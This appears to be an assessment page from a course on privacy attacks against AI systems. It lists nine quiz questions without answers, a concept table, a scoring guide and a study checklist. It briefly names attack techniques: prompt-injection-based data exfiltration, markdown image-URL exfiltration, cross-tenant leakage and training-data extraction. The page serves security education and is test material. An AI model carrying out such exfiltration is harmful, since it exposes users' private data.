Privacy Attack Assessment
Test your advanced knowledge of privacy attacks against AI systems including data leakage, PII extraction, differential privacy failures, and inference-time privacy risks with 9 questions.
Privacy Attack Assessment
This assessment covers advanced privacy attacks against AI systems: PII extraction from model outputs, training data leakage, differential privacy failures, conversation data exposure, and regulatory compliance implications of privacy vulnerabilities.
Why do LLMs memorize training data, and what factors increase the risk of memorization?
What is a 'canary extraction' test and how is it used to measure a model's memorization risk?
How can conversation data leak between users in multi-tenant LLM deployments?
What is 'attribute inference' in the context of AI privacy attacks?
What are the practical limitations of differential privacy when applied to LLM training?
How can prompt injection be used as a vector for privacy attacks, beyond its traditional use for behavior manipulation?
What is the 'right to be forgotten' challenge for LLMs, and why is it technically difficult to address?
What is a 'data exfiltration via markdown rendering' attack against LLM applications?
What is the recommended methodology for conducting a privacy assessment of an LLM-based application?
Concept Summary
| Concept | Description | Regulatory Relevance |
|---|---|---|
| Training data memorization | Model reproducing training data verbatim | GDPR, CCPA, HIPAA |
| Canary extraction | Measuring memorization with planted unique strings | Privacy risk quantification |
| Cross-tenant leakage | Data flowing between users in shared deployments | Multi-tenant compliance |
| Attribute inference | Inferring sensitive properties from partial information | Discrimination law |
| Differential privacy limits | Privacy-utility tradeoff in LLM training | Technical compliance gap |
| Injection-based exfiltration | Using prompt injection to extract private data | Data breach regulations |
| Right to be forgotten | Inability to selectively unlearn data from models | GDPR Article 17 |
| Markdown exfiltration | Invisible data theft through rendered image URLs | Data breach regulations |
Scoring Guide
| Score | Rating | Next Steps |
|---|---|---|
| 8-9 | Excellent | Strong privacy attack knowledge. Proceed to the Defense Fundamentals Assessment. |
| 6-7 | Proficient | Review missed questions and revisit AI privacy materials. |
| 4-5 | Developing | Spend additional time with data privacy and LLM memorization topics. |
| 0-3 | Needs Review | Study data privacy fundamentals and GDPR basics before retesting. |
Study Checklist
- I understand why LLMs memorize training data and what factors increase memorization
- I can explain canary extraction and its use as a privacy measurement tool
- I understand cross-tenant data leakage vectors in multi-tenant deployments
- I can describe attribute inference attacks and their privacy implications
- I understand differential privacy limitations for LLMs
- I can explain prompt injection as a privacy attack vector
- I understand the right to be forgotten challenge for neural networks
- I can describe the markdown rendering exfiltration technique
- I know the systematic methodology for LLM privacy assessments